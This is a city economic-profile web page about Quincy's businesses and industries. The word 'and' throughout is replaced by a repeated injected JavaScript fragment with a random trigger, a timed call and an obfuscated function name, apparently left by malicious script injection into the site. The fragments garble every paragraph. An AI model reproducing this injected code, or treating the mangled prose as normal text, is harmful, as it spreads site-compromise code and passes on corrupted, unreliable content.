Jobs & Economy

Jobs & Economy


Quincy’s economy is robust andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stable, thanks to several factors. Our commitment to education, both academic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vocational, means a capable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and responsible workforce.

Our location in the very heart of America’s heartlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and makes Quincy an obvious distribution hub, while our extensive road, rail andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and water transportation systems make us an efficient one as well.

Abundant natural resources are another prime advantage, particularly the Mississippi River andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the vast agricultural belt that surrounds Quincy.

Bucking national trends, Quincy is home to an large andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thriving manufacturing base. More than 100 manufacturer’s turn out an incredible array of products.

The two largest are Gardner Denver, a Quincy fixture for over 150 years, is a world leading provider of compressed air, vacuum andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fluid transfer technologies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Titan Wheel, the world’s largest manufacturer of off-highway wheels.

Between them, Gardner Denver andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Titan Wheel generate more than $3 billion in annual revenues. Other large manufacturers include Quincy Compressor, Knapheide Manufacturing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Archer Daniels Midlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.

A vibrant electronics industry supplies products as varied as television transmitters, radio equipment, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wireless communications equipment. Quincy was a pioneer in electronic communications. Harris Broadcast, Glenayre Electronics, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Broadcast Electronics are examples of these types of businesses.

Service businesses provide another economic foundation in the area, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are exemplified by companies such as Blue Cross Blue Shield, AMCON Distributing, Niemen Foods, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kirlin’s Hallmark.

Of course agriculture is a large part of our economy, both from producers (farmers to the rest of us) to processors to distributors. Quincy is surrounded by rolling fields of corn, soybean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cereals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and these in turn fuel not only our bodies but the local andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regional economy as well.

In short, Quincy has a strong andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and diverse business base that sits on foundations of quality education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and excellent location.